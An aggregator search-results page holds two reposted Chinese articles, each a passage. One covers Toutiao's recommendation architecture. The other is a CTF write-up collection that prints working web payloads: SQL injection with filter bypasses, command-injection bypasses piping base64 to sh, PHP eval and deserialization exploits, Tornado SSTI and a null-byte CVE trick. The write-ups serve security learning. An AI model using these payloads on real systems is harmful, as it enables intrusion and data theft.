前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[管理员权限下建立MySQL数据库 ]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
转载文章
...完全由指标评估,引入数据指标以外的要素也很重要。 比如广告和特型内容频控。像问答卡片就是比较特殊的内容形式,其推荐的目标不完全是让用户浏览,还要考虑吸引用户回答为社区贡献内容。这些内容和普通内容如何混排,怎样控制频控都需要考虑。 此外,平台出于内容生态和社会责任的考量,像低俗内容的打压,标题党、低质内容的打压,重要新闻的置顶、加权、强插,低级别账号内容降权都是算法本身无法完成,需要进一步对内容进行干预。 下面我将简单介绍在上述算法目标的基础上如何对其实现。 前面提到的公式y = F(Xi ,Xu ,Xc),是一个很经典的监督学习问题。可实现的方法有很多,比如传统的协同过滤模型,监督学习算法Logistic Regression模型,基于深度学习的模型,Factorization Machine和GBDT等。 一个优秀的工业级推荐系统需要非常灵活的算法实验平台,可以支持多种算法组合,包括模型结构调整。因为很难有一套通用的模型架构适用于所有的推荐场景。 现在很流行将LR和DNN结合,前几年Facebook也将LR和GBDT算法做结合。今日头条旗下几款产品都在沿用同一套强大的算法推荐系统,但根据业务场景不同,模型架构会有所调整。 模型之后再看一下典型的推荐特征,主要有四类特征会对推荐起到比较重要的作用。 第一类是相关性特征,就是评估内容的属性和与用户是否匹配。显性的匹配包括关键词匹配、分类匹配、来源匹配、主题匹配等。像FM模型中也有一些隐性匹配,从用户向量与内容向量的距离可以得出。 第二类是环境特征,包括地理位置、时间。这些既是bias特征,也能以此构建一些匹配特征。 第三类是热度特征。包括全局热度、分类热度,主题热度,以及关键词热度等。内容热度信息在大的推荐系统特别在用户冷启动的时候非常有效。 第四类是协同特征,它可以在部分程度上帮助解决所谓算法越推越窄的问题。 协同特征并非考虑用户已有历史。而是通过用户行为分析不同用户间相似性,比如点击相似、兴趣分类相似、主题相似、兴趣词相似,甚至向量相似,从而扩展模型的探索能力。 模型的训练上,头条系大部分推荐产品采用实时训练。实时训练省资源并且反馈快,这对信息流产品非常重要。用户需要行为信息可以被模型快速捕捉并反馈至下一刷的推荐效果。 我们线上目前基于storm集群实时处理样本数据,包括点击、展现、收藏、分享等动作类型。 模型参数服务器是内部开发的一套高性能的系统,因为头条数据规模增长太快,类似的开源系统稳定性和性能无法满足,而我们自研的系统底层做了很多针对性的优化,提供了完善运维工具,更适配现有的业务场景。 目前,头条的推荐算法模型在世界范围内也是比较大的,包含几百亿原始特征和数十亿向量特征。 整体的训练过程是线上服务器记录实时特征,导入到Kafka文件队列中,然后进一步导入Storm集群消费Kafka数据,客户端回传推荐的label构造训练样本,随后根据最新样本进行在线训练更新模型参数,最终线上模型得到更新。 这个过程中主要的延迟在用户的动作反馈延时,因为文章推荐后用户不一定马上看,不考虑这部分时间,整个系统是几乎实时的。 但因为头条目前的内容量非常大,加上小视频内容有千万级别,推荐系统不可能所有内容全部由模型预估。 所以需要设计一些召回策略,每次推荐时从海量内容中筛选出千级别的内容库。召回策略最重要的要求是性能要极致,一般超时不能超过50毫秒。 召回策略种类有很多,我们主要用的是倒排的思路。离线维护一个倒排,这个倒排的key可以是分类,topic,实体,来源等。 排序考虑热度、新鲜度、动作等。线上召回可以迅速从倒排中根据用户兴趣标签对内容做截断,高效的从很大的内容库中筛选比较靠谱的一小部分内容。 二、内容分析 内容分析包括文本分析,图片分析和视频分析。头条一开始主要做资讯,今天我们主要讲一下文本分析。文本分析在推荐系统中一个很重要的作用是用户兴趣建模。 没有内容及文本标签,无法得到用户兴趣标签。举个例子,只有知道文章标签是互联网,用户看了互联网标签的文章,才能知道用户有互联网标签,其他关键词也一样。 另一方面,文本内容的标签可以直接帮助推荐特征,比如魅族的内容可以推荐给关注魅族的用户,这是用户标签的匹配。 如果某段时间推荐主频道效果不理想,出现推荐窄化,用户会发现到具体的频道推荐(如科技、体育、娱乐、军事等)中阅读后,再回主feed,推荐效果会更好。 因为整个模型是打通的,子频道探索空间较小,更容易满足用户需求。只通过单一信道反馈提高推荐准确率难度会比较大,子频道做的好很重要。而这也需要好的内容分析。 上图是今日头条的一个实际文本case。可以看到,这篇文章有分类、关键词、topic、实体词等文本特征。 当然不是没有文本特征,推荐系统就不能工作,推荐系统最早期应用在Amazon,甚至沃尔玛时代就有,包括Netfilx做视频推荐也没有文本特征直接协同过滤推荐。 但对资讯类产品而言,大部分是消费当天内容,没有文本特征新内容冷启动非常困难,协同类特征无法解决文章冷启动问题。 今日头条推荐系统主要抽取的文本特征包括以下几类。首先是语义标签类特征,显式为文章打上语义标签。 这部分标签是由人定义的特征,每个标签有明确的意义,标签体系是预定义的。 此外还有隐式语义特征,主要是topic特征和关键词特征,其中topic特征是对于词概率分布的描述,无明确意义;而关键词特征会基于一些统一特征描述,无明确集合。 另外文本相似度特征也非常重要。在头条,曾经用户反馈最大的问题之一就是为什么总推荐重复的内容。这个问题的难点在于,每个人对重复的定义不一样。 举个例子,有人觉得这篇讲皇马和巴萨的文章,昨天已经看过类似内容,今天还说这两个队那就是重复。 但对于一个重度球迷而言,尤其是巴萨的球迷,恨不得所有报道都看一遍。解决这一问题需要根据判断相似文章的主题、行文、主体等内容,根据这些特征做线上策略。 同样,还有时空特征,分析内容的发生地点以及时效性。比如武汉限行的事情推给北京用户可能就没有意义。 最后还要考虑质量相关特征,判断内容是否低俗,色情,是否是软文,鸡汤? 上图是头条语义标签的特征和使用场景。他们之间层级不同,要求不同。 分类的目标是覆盖全面,希望每篇内容每段视频都有分类;而实体体系要求精准,相同名字或内容要能明确区分究竟指代哪一个人或物,但不用覆盖很全。 概念体系则负责解决比较精确又属于抽象概念的语义。这是我们最初的分类,实践中发现分类和概念在技术上能互用,后来统一用了一套技术架构。 目前,隐式语义特征已经可以很好的帮助推荐,而语义标签需要持续标注,新名词新概念不断出现,标注也要不断迭代。其做好的难度和资源投入要远大于隐式语义特征,那为什么还需要语义标签? 有一些产品上的需要,比如频道需要有明确定义的分类内容和容易理解的文本标签体系。语义标签的效果是检查一个公司NLP技术水平的试金石。 今日头条推荐系统的线上分类采用典型的层次化文本分类算法。 最上面Root,下面第一层的分类是像科技、体育、财经、娱乐,体育这样的大类,再下面细分足球、篮球、乒乓球、网球、田径、游泳…,足球再细分国际足球、中国足球,中国足球又细分中甲、中超、国家队…,相比单独的分类器,利用层次化文本分类算法能更好地解决数据倾斜的问题。 有一些例外是,如果要提高召回,可以看到我们连接了一些飞线。这套架构通用,但根据不同的问题难度,每个元分类器可以异构,像有些分类SVM效果很好,有些要结合CNN,有些要结合RNN再处理一下。 上图是一个实体词识别算法的case。基于分词结果和词性标注选取候选,期间可能需要根据知识库做一些拼接,有些实体是几个词的组合,要确定哪几个词结合在一起能映射实体的描述。 如果结果映射多个实体还要通过词向量、topic分布甚至词频本身等去歧,最后计算一个相关性模型。 三、用户标签 内容分析和用户标签是推荐系统的两大基石。内容分析涉及到机器学习的内容多一些,相比而言,用户标签工程挑战更大。 今日头条常用的用户标签包括用户感兴趣的类别和主题、关键词、来源、基于兴趣的用户聚类以及各种垂直兴趣特征(车型,体育球队,股票等)。还有性别、年龄、地点等信息。 性别信息通过用户第三方社交账号登录得到。年龄信息通常由模型预测,通过机型、阅读时间分布等预估。 常驻地点来自用户授权访问位置信息,在位置信息的基础上通过传统聚类的方法拿到常驻点。 常驻点结合其他信息,可以推测用户的工作地点、出差地点、旅游地点。这些用户标签非常有助于推荐。 当然最简单的用户标签是浏览过的内容标签。但这里涉及到一些数据处理策略。 主要包括: 一、过滤噪声。通过停留时间短的点击,过滤标题党。 二、热点惩罚。对用户在一些热门文章(如前段时间PG One的新闻)上的动作做降权处理。理论上,传播范围较大的内容,置信度会下降。 三、时间衰减。用户兴趣会发生偏移,因此策略更偏向新的用户行为。因此,随着用户动作的增加,老的特征权重会随时间衰减,新动作贡献的特征权重会更大。 四、惩罚展现。如果一篇推荐给用户的文章没有被点击,相关特征(类别,关键词,来源)权重会被惩罚。当 然同时,也要考虑全局背景,是不是相关内容推送比较多,以及相关的关闭和dislike信号等。 用户标签挖掘总体比较简单,主要还是刚刚提到的工程挑战。头条用户标签第一版是批量计算框架,流程比较简单,每天抽取昨天的日活用户过去两个月的动作数据,在Hadoop集群上批量计算结果。 但问题在于,随着用户高速增长,兴趣模型种类和其他批量处理任务都在增加,涉及到的计算量太大。 2014年,批量处理任务几百万用户标签更新的Hadoop任务,当天完成已经开始勉强。集群计算资源紧张很容易影响其它工作,集中写入分布式存储系统的压力也开始增大,并且用户兴趣标签更新延迟越来越高。 面对这些挑战。2014年底今日头条上线了用户标签Storm集群流式计算系统。改成流式之后,只要有用户动作更新就更新标签,CPU代价比较小,可以节省80%的CPU时间,大大降低了计算资源开销。 同时,只需几十台机器就可以支撑每天数千万用户的兴趣模型更新,并且特征更新速度非常快,基本可以做到准实时。这套系统从上线一直使用至今。 当然,我们也发现并非所有用户标签都需要流式系统。像用户的性别、年龄、常驻地点这些信息,不需要实时重复计算,就仍然保留daily更新。 四、评估分析 上面介绍了推荐系统的整体架构,那么如何评估推荐效果好不好? 有一句我认为非常有智慧的话,“一个事情没法评估就没法优化”。对推荐系统也是一样。 事实上,很多因素都会影响推荐效果。比如侯选集合变化,召回模块的改进或增加,推荐特征的增加,模型架构的改进在,算法参数的优化等等,不一一举例。 评估的意义就在于,很多优化最终可能是负向效果,并不是优化上线后效果就会改进。 全面的评估推荐系统,需要完备的评估体系、强大的实验平台以及易用的经验分析工具。 所谓完备的体系就是并非单一指标衡量,不能只看点击率或者停留时长等,需要综合评估。 很多公司算法做的不好,并非是工程师能力不够,而是需要一个强大的实验平台,还有便捷的实验分析工具,可以智能分析数据指标的置信度。 一个良好的评估体系建立需要遵循几个原则,首先是兼顾短期指标与长期指标。我在之前公司负责电商方向的时候观察到,很多策略调整短期内用户觉得新鲜,但是长期看其实没有任何助益。 其次,要兼顾用户指标和生态指标。既要为内容创作者提供价值,让他更有尊严的创作,也有义务满足用户,这两者要平衡。 还有广告主利益也要考虑,这是多方博弈和平衡的过程。 另外,要注意协同效应的影响。实验中严格的流量隔离很难做到,要注意外部效应。 强大的实验平台非常直接的优点是,当同时在线的实验比较多时,可以由平台自动分配流量,无需人工沟通,并且实验结束流量立即回收,提高管理效率。 这能帮助公司降低分析成本,加快算法迭代效应,使整个系统的算法优化工作能够快速往前推进。 这是头条A/B Test实验系统的基本原理。首先我们会做在离线状态下做好用户分桶,然后线上分配实验流量,将桶里用户打上标签,分给实验组。 举个例子,开一个10%流量的实验,两个实验组各5%,一个5%是基线,策略和线上大盘一样,另外一个是新的策略。 实验过程中用户动作会被搜集,基本上是准实时,每小时都可以看到。但因为小时数据有波动,通常是以天为时间节点来看。动作搜集后会有日志处理、分布式统计、写入数据库,非常便捷。 在这个系统下工程师只需要设置流量需求、实验时间、定义特殊过滤条件,自定义实验组ID。系统可以自动生成:实验数据对比、实验数据置信度、实验结论总结以及实验优化建议。 当然,只有实验平台是远远不够的。线上实验平台只能通过数据指标变化推测用户体验的变化,但数据指标和用户体验存在差异,很多指标不能完全量化。 很多改进仍然要通过人工分析,重大改进需要人工评估二次确认。 五、内容安全 最后要介绍今日头条在内容安全上的一些举措。头条现在已经是国内最大的内容创作与分发凭条,必须越来越重视社会责任和行业领导者的责任。如果1%的推荐内容出现问题,就会产生较大的影响。 现在,今日头条的内容主要来源于两部分,一是具有成熟内容生产能力的PGC平台 一是UGC用户内容,如问答、用户评论、微头条。这两部分内容需要通过统一的审核机制。如果是数量相对少的PGC内容,会直接进行风险审核,没有问题会大范围推荐。 UGC内容需要经过一个风险模型的过滤,有问题的会进入二次风险审核。审核通过后,内容会被真正进行推荐。这时如果收到一定量以上的评论或者举报负向反馈,还会再回到复审环节,有问题直接下架。 整个机制相对而言比较健全,作为行业领先者,在内容安全上,今日头条一直用最高的标准要求自己。 分享内容识别技术主要鉴黄模型,谩骂模型以及低俗模型。今日头条的低俗模型通过深度学习算法训练,样本库非常大,图片、文本同时分析。 这部分模型更注重召回率,准确率甚至可以牺牲一些。谩骂模型的样本库同样超过百万,召回率高达95%+,准确率80%+。如果用户经常出言不讳或者不当的评论,我们有一些惩罚机制。 泛低质识别涉及的情况非常多,像假新闻、黑稿、题文不符、标题党、内容质量低等等,这部分内容由机器理解是非常难的,需要大量反馈信息,包括其他样本信息比对。 目前低质模型的准确率和召回率都不是特别高,还需要结合人工复审,将阈值提高。目前最终的召回已达到95%,这部分其实还有非常多的工作可以做。别平台。 如果需要机器学习视频,可以在公众号后台聊天框回复【机器学习】,可以免费获取编程视频 。 你可能还喜欢 数学在机器学习中到底有多重要? AI 新手学习路线,附上最详细的资源整理! 提升机器学习数学基础,推荐7本书 酷爆了!围观2020年十大科技趋势 机器学习该如何入门,听听过来人的经验! 长按加入T圈,接触人工智能 觉得内容还不错的话,给我点个“在看”呗 本篇文章为转载内容。原文链接:https://blog.csdn.net/itcodexy/article/details/109574173。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-13 09:21:23
323
转载
转载文章
...个的按键,这个符号在mysql里 用于 分割其他命令,表示此为(表名、字段名) 1';show columns from 1919810931114514; 看到flag了!!! 那么如何查询到数据呢? select 函数被过滤了,其实mysql的函数有很多 这里通过 MYSQL的预处理语句,使用 : concat('s','elect',' from 1919810931114514') 完成绕过 构造pyload: 1';PREPARE test from concat('s','elect',' from 1919810931114514');EXECUTE test; flag{3b3d8fa2-2348-4d6b-81af-017ca90e6c81} [SUCTF 2019]EasySQL 环境我已经启动了 进入题目链接 老套路 先看看源码里面有什么东西 不出意料的什么都没有 但是提示我们它是POST传参 这是一道SQL注入的题目 不管输入什么数字,字母 都是这的 没有回显 但是输入:0没有回显 不知道为啥 而且输入:1' 也不报错 同样是没有回显 尝试注入时 显示Nonono. 也就是说,没有回显,联合查询基本没戏。 好在页面会进行相应的变化,证明注入漏洞肯定是有的。 而且注入点就是这个POST参数框 看了大佬的WP 才想起来 还有堆叠注入 堆叠注入原理 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。 1;show databases; 1;show tables; 1;use ctf;show tables; 跑字典时 发现了好多的过滤 哭了 没有办法… 看到上面主要是有两中返回,一种是空白,一种是nonono。 在网上查writeup看到 输入1显示:Array ( [0] => 1 )输入a显示:空白输入所有非0数字都显示:Array ( [0] => 1 )输入所有字母(除过滤的关键词外)都显示空白 可以推测题目应该是用了||符号。 推测出题目应该是select $_post[value] || flag from Flag。 这里 就有一个符号|| 当有一边为数字时 运算结果都为 true 返回1 使用 || 运算符,不在是做或运算 而是作为拼接字符串的作用 在oracle 缺省支持 通过 || 来实现字符串拼接,但在mysql 缺省不支持 需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能。 这个意思是在oracle中 || 是作为字符串拼接,而在mysql中是运算符。 当设置sql_mode为pipes_as_concat的时候,mysql也可以把 || 作为字符串拼接。 修改完后,|| 就会被认为是字符串拼接符 MySQL中sql_mode参数,具体的看这里 解题思路1: payload:,1 查询语句:select ,1||flag from Flag 解题思路2: 堆叠注入,使得sql_mode的值为PIPES_AS_CONCAT payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 解析: 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能。 flag出来了 头秃 不是很懂 看了好多的wp… [GYCTF2020]Blacklist 进入题目链接 1.注入:1’ 为'闭合 2.看字段:1' order by 2 确认字段为2 3.查看回显:1’ union select 1,2 发现过滤字符 与上面的随便注很像 ,太像了,增加了过滤规则。 修改表名和set均不可用,所以很直接的想到了handler语句。 4.但依旧可以用堆叠注入获取数据库名称、表名、字段。 1';show databases 获取数据库名称1';show tables 获取表名1';show columns from FlagHere ; 或 1';desc FlagHere; 获取字段名 5.接下来用 handler语句读取内容。 1';handler FlagHere open;handler FlagHere read first 直接得到 flag 成功解题。 flag{d0c147ad-1d03-4698-a71c-4fcda3060f17} 补充handler语句相关。 mysql除可使用select查询表中的数据,也可使用handler语句 这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不 具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中 [GKCTF2020]cve版签到 查看提示 菜鸡的第一步 提示了:cve-2020-7066 赶紧去查了一下 cve-2020-7066PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。 描述在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。 利用方法 总的来说也就是get_headers()可以被%00截断 进入题目链接 知识点: cve-2020-7066利用 老套路:先F12查看源码 发现提示:Flag in localhost 根据以上 直接上了 直接截断 因为提示host必须以123结尾,这个简单 所以需要将localhost替换为127.0.0.123 成功得到flag flag{bf1243d2-08dd-44ee-afe8-45f58e2d6801} GXYCTF2019禁止套娃 考点: .git源码泄露 无参RCE localeconv() 函数返回一包含本地数字及货币格式信息的数组。scandir() 列出 images 目录中的文件和目录。readfile() 输出一个文件。current() 返回数组中的当前单元, 默认取第一个值。pos() current() 的别名。next() 函数将内部指针指向数组中的下一个元素,并输出。array_reverse()以相反的元素顺序返回数组。highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。 具体细节,看这里 进入题目链接 上御剑扫目录 发现是.git源码泄露 上githack补全源码 得到源码 <?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");} }else{die("再好好想想!");} }else{die("还想读flag,臭弟弟!");} }// highlight_file(__FILE__);?> 既然getshell基本不可能,那么考虑读源码 看源码,flag应该就在flag.php 我们想办法读取 首先需要得到当前目录下的文件 scandir()函数可以扫描当前目录下的文件,例如: <?phpprint_r(scandir('.'));?> 那么问题就是如何构造scandir('.') 这里再看函数: localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是. current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 这里还有一个知识点: current(localeconv())永远都是个点 那么就很简单了 print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv()))); 第二步:读取flag所在的数组 之后我们利用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出 payload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); [De1CTF 2019]SSRF Me 首先得到提示 还有源码 进入题目链接 得到一串py 经过整理后 ! /usr/bin/env pythonencoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):定义的命令执行函数,此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp 输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): !!!校验return Trueelse:return Falsegenerate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST']) !!!这个路由用于测试def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])这个路由是我萌得最终注入点def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')根目录路由,就是显示源代码得地方def index():return open("code.txt","r").read()def scan(param):这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0') 相关函数 作用 init(self, action, param, …) 构造方法self代表对象,其他是对象的属性 request.args.get(param) 提取get方法传入的,参数名叫param对应得值 request.cookies.get(“action”) 提取cookie信息中的,名为action得对应值 hashlib.md5().hexdigest() hashlib.md5()获取一个md5加密算法对象,hexdigest()是获得加密后的16进制字符串 urllib.unquote() 将url编码解码 urllib.urlopen() 读取网络文件参数可以是url json.dumps Python 对象编码成 JSON 字符串 这个题先放一下… [极客大挑战 2019]EasySQL 进入题目链接 直接上万能密码 用户随意 admin1' or 1; 得到flag flag{7fc65eb6-985b-494a-8225-de3101a78e89} [极客大挑战 2019]Havefun 进入题目链接 老套路 去F12看看有什么东西 很好 逮住了 获取FLAG的条件是cat=dog,且是get传参 flag就出来了 flag{779b8bac-2d64-4540-b830-1972d70a2db9} [极客大挑战 2019]Secret File 进入题目链接 老套路 先F12查看 发现超链接 直接逮住 既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了 上burp看看情况 我们让他挺住 逮住了:secr3t.php 访问一下 简单的绕过 就可以了 成功得到一串字符 进行base解密即可 成功逮住flag flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7} [ACTF2020 新生赛]Include 根据题目信息 是文件包含无疑了 直接点击进来 用php伪协议 绕过就可以了 得到一串编码 base64解密即可 得到flag flag{c09e6921-0c0e-487e-87c9-0937708a78d7} 2018]easy_tornado 都点击一遍 康康 直接filename变量改为:fllllllllllllag 报错了 有提示 render() 是一个渲染函数 具体看这里 就用到SSTI模板注入了 具体看这里 尝试模板注入: /error?msg={ {1} } 发现存在模板注入 md5(cookie_secret+md5(filename)) 分析题目: 1.tornado是一个python的模板,可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename)) 根据目前信息,想要得到flag就需要获取cookie_secret 因为tornado存在模版注入漏洞,尝试通过此漏洞获取到所需内容 根据测试页面修改msg得值发现返回值 可以通过msg的值进行修改,而在 taornado框架中存在cookie_secreat 可以通过/error?msg={ {handler.settings} }拿到secreat_cookie 综合以上结果 拿脚本跑一下 得到filehash: ed75a45308da42d3fe98a8f15a2ad36a 一直跑不出来 不知道为啥子 [极客大挑战 2019]LoveSQL 万能密码尝试 直接上万能密码 用户随意 admin1' or 1; 开始正常注入: 查字段:1' order by 3 经过测试 字段为3 查看回显:1’ union select 1,2,3 查数据库 1' union select 1,2,group_concat(schema_name) from information_schema.schemata 查表: [GXYCTF2019]Ping Ping Ping 考察:RCE的防护绕过 直接构造:?ip=127.0.0.1;ls 简单的fuzz一下 就发现=和$没有过滤 所以想到的思路就是使用$IFS$9代替空格,使用拼接变量来拼接出Flag字符串: 构造playload ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b 看看他到底过滤了什么:?ip=127.0.0.1;cat$IFS$1index.php 一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤: 继续构造payload: ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 查看源码,得到flag flag{1fe312b4-96a0-492d-9b97-040c7e333c1a} [RoarCTF 2019]Easy Calc 进入题目链接 查看源码 发现calc.php 利用PHP的字符串解析特性Bypass,具体看这里 HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: 1.删除空白符2.将某些字符转换为下划线(包括空格) scandir():列出参数目录中的文件和目录 发现/被过滤了 ,可以用chr('47')代替 calc.php? num=1;var_dump(scandir(chr(47))) 这里直接上playload calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag{76243df6-aecb-4dc5-879e-3964ec7485ee} [极客大挑战 2019]Knife 进入题目链接 根据题目Knife 还有这个一句话木马 猜想尝试用蚁剑连接 测试连接成功 确实是白给了flag [ACTF2020 新生赛]Exec 直接ping 发现有回显 构造playload: 127.0.0.1;cat /flag 成功拿下flag flag{7e582f16-2676-42fa-8b9d-f9d7584096a6} [极客大挑战 2019]PHP 进入题目链接 它提到了备份文件 就肯定是扫目录 把源文件的代码 搞出来 上dirsearch 下载看这里 很简单的使用方法 用来扫目录 -u 指定url -e 指定网站语言 -w 可以加上自己的字典,要带路径 -r 递归跑(查到一个目录后,重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道,如果password=100,username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} }$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时,属性个数的值大于实际属性个数时,就可以 2.private修饰符的问题 private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover, 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法: flask session 伪造 具体,看这里 flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。 [极客大挑战 2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显: 1' uniunionon selselectect 1,2,3 over!正常 开始注入 爆库 爆列 爆表 爆内容 